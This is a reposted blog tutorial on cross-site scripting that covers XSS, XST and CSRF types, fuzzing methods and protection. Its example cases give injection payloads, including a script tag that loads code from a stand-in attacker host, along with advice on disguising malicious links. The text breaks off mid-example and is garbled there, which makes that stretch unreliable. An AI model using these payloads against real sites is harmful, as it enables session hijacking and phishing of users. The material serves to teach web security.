This tutorial was originally meant only for hacker as an exclussive guide,
however after they have changed their site multiple times I thought that
I would post it here before it might get removed since this guide took a lot
of time to create. (almost a whole day at work)
This tutorial does NOT contain actual attack code so you'll have to make that up yourself.
___ -:: Introduction ::- ____________
What is XSS</acronym> and what does it refer to?
XSS</acronym> aka Cross Site Scripting is a client-side attack where an attacker creates a malicious link,
containing script- code which is then executed within the victim's browser. The script-code
can be any language supported by the browser but mostly HTML and Javascript is used along
with embedded Flash, Java or ActiveX.
What can Cross Site Scripting be used for?
Cross Site Scripting can be used for a variety of things, such as session-hijacking, browser
attacks, phishing, propaganda and even worms! However it still requires the victim to click
a malicious link created by the attacker.
How could One get a victim to click a XSS</acronym>-link?
The easiest way to get people to click malicious links is to make them look authentic and non-
malicious. Giving them a reason afterwards is the social-engineering part which should be easy
except if the victim is aware of such attacks and / or has measures against Cross Site Scripting, such as NoScript.
How does One avoid XSS</acronym>-links looking suspicious?
This is typically done with encoding, short url services, redirects and even flash!
Which types of Cross Site Scripting are there?
The most common types are GET- and POST-based XSS</acronym>. However Cross Site Scripting can also
be triggered via cookies. Some individuals claims that XSS</acronym> can also be divided into persistent and
non-persistent but those types are also and should be refered to as injection which is a different
class of bugs / vulnerabilities.
What is the difference between GET- and POST-XSS</acronym>?
The difference is that when GET-variables is used it is possible to conduct normal XSS</acronym> attacks
where an attacker sends a malicious crafted URL to the victim which is then executed when
the victim opens the link in the browser.
With POST-variables an attacker could f.ex. use flash to send the victim to the POST-XSS</acronym>
vulnerable site since it is not possible to create a URL when POST-variables are in use.
Are there sub-categories of Cross Site Scripting?
At the moment there's XSSR and XSSQLI</acronym>. One could say that XSRF</acronym>/CSRF</acronym> belongs to the same
category, however the attack method differs too much from traditional Cross Site Scripting.
XSSR or CSSR aka Cross Site Script Redirection is used to redirect a victim to another page
unwillingly. The page can for example contain a phishing template, browser attack code or in
some cases where the data or javascript URI scheme is used: session-hijacking. XSSQLI</acronym> is a
mix of Cross Site Scripting and SQL Injection, where an unknowing victim clicks a malicious link
containing SQL Injection instructions for an area in the website which requires privileges that
guests or members doesn't have. XSRF</acronym> or CSRF</acronym> (sometimes refered to as C-Surf) stands for
Cross Site Request Forgery which is used to send input from a 3rd party site to the target site.
XSRF</acronym> can in some cases be triggered just by viewing a specially crafted image but the most
commonly used are URLs. With Cross Site Request Forgery it might be possible to f.ex. alter
the password of the victim if the target site is not secured properly with tokens etc.
What is XST and can it be used for anything?
XST also known as Cross Site (Script) Tracing is a way of abusing the HTTP Trace (Debug)
protocol. Anything that an attacker sends to a web-server that has TRACE enabled will send
the same answer back. If an attacker sends the following:
Code: TRACE / HTTP/1.0
Host: target.tld
Custom-header: <script>alert(0)</script>
Then the attacker will receive the same "Custom-header: <scr..." back allowing script execution.
However after recent browser updates the following year(s) XST has been increasingly harder to
control and execute properly.
How is it possible to find XSS</acronym> bugs within websites?
There are 2 methods: code / script auditing or fuzzing which is described below.
What kind of tools is required to find XSS</acronym> bugs? (REQ = Required, OPT = Optional)
- REQ: An Internet Browser (such as FireFox) in case you're fuzzing.
- REQ: A text-viewer (such as notepad) in case you're auditing.
- OPT: An intercepting proxy in case you're doing more advanced XSS</acronym>. (In FireFox it is possible to use Tamper Data).
- OPT: Browser Addons, for FireFox the following are especially useful: Firebug, JSView and LiveHTTP Headers.
What else is useful to know if One wants to find XSS</acronym> bugs?
- Browser limitations regarding Cross Site Scripting [1]
- HTTP Headers and how the HTTP protocol works.
- HTML + Javascript and perhaps embedded script attacks. (flash etc.)
- Intercepting proxies (Burp etc.), differential tools (meld, ExamDiff, etc.)
- Useful browser-addons (see FireCat [3])
- Website scanners (Nikto, W3AF, Grendel, Directory-fuzzers etc.)
Where is XSS</acronym>-bugs typically located?
It is usually located in user submitted input either via GET or POST variables, where it is reflected on
the target site as text outside tags, inside tag values or within javascript. It can also in some cases
be submitted via cookies, http headers or in rare cases file uploads.
How does One protect a site against XSS</acronym>?
The best way is to ensure that all user input and output is validated properly. However in some cases
an IPS or WAF can also protect against XSS</acronym> though the best way is still to validate the user-input and -output properly.
___ -:: Finding the Bug - With Fuzzing ::- ____________
[EASY] Example Case - A:
We're at http://buggysite.tld where we see a "Search-field" in the top-right. Since we don't know the
real source code but only the HTML-output of the site we will have to fuzz anything where it is possible
to submit data. In some cases the data will be reflected on the site and in some cases it wont. If it doesn't
we move on to the next cookie, header, get / post variable or whatever it is that we are fuzzing.
The most effective way to fuzz is not to write: <script>alert(0)</script> since many sites has different
precautions against Cross Site Scripting. Instead we create a custom string which in most cases wont
trigger anything that might alter the output of the site or render error pages that aren't vulnerable.
An example of an effective string could be: "keyword'/\><
" ' /\ > and < are the most commonly used html characters used in Cross Site Scripting. However if we want
to be really thorough then we could also add )(][}{% to the string that we are using to fuzz the target site.
The reason why there's not two of " or ' is because this can trigger a WAF, IPS or whatever precaution the site
might have tried to implement against XSS</acronym> instead of using a secure coding scheme /plan / development cycle.
The reason why all characters are written as >< instead of <> is because this is a common bypass against XSS</acronym>-filters!
With that in mind, we use the following string: "haxxor'/\>< to fuzz the search-field:
Lets take a look at the returned HTML-code:
HTML Code: ...
<input type="text" name="search" value=""haxxor'/\><" /> <br /> You searched for \"haxxor\'/\\>< which returned no results.
...
As we can see the input tag encoded our fuzzing string correct, however the text afterwards did not encode it
properly as it only added slashes which is completely useless against Cross Site Scripting in this case.
By submitting the following string we can XSS</acronym> their website: <script>alert(0)</script> or perhaps <script src=http://h4x0r.tld/xss</acronym>.js></script>
Of course we don't know if the following characters : ( ) and . are filtered but in most cases they work.
Our final XSS</acronym>-url could be: http://buggysite.tld/search.php?query=&l...script> if GET-variables are used.
[EASY] Example Case - B:
We're at http://yetanothersite.tld where we see another search formular.
The following is returned after our string is submitted to the search field:
HTML Code: ...
<input type="text" name="search" value="\"haxxor\'/\\><" /> <br /> You searched for"haxxor'/\>< which returned no results.
...
In this case the string after the tag encoded the string properly, however the string inside the tag only had some
slashes added which does nothing in this case. Basically we can bypass this easily with: "><script>alert(0)</script>
If we're going to load external javascript we will have to avoid using " and ' of course.
Our final XSS</acronym>-url could be: http://yetanothersite.tld/search.php?query="><script>alert(0)</script> if GET-variables are used.
[MODERATE] Example Case - C:
We're at http://prettysecure.tld where we find yet another search field, it's time to submit our fuzzing string.
The following HTML-code is returned after our string is submitted:
HTML Code: ...
<input type="text" name="search" value=""haxxor'/\><"> You searched for ""haxxor'/\><" which returned no results.
... (further down)
<script>
...
s.prop1="prettysecure";
s.prop2="\"haxxor%39/\%3E%3C";
s.prop3="adspace";
...
</script>
For most people this might look secure but it really isn't. A lot of people also overlooks potential Cross Site Scripting
vectors if their string <script>alert(0)</script> is either not output directly or encoded where they expect the csrf</acronym>" value="random token value" />
If the tokens are not random enough it might be possible to calculate these and still use C-Surf in an attack.
All of the best,
Infrinja Zerolux,
Madleets.
I will post furthur tuts on more topics soon
Ichsan Bahri
I'm Ichsan. A full time web designer. I enjoy to make modern template. I love create blogger template and write about web design, blogger. Now I'm working with Themeforest. You can buy our templates from Themeforest.
Website: http://sagoe.net/
No Comment to " Xss (cross site scripting) "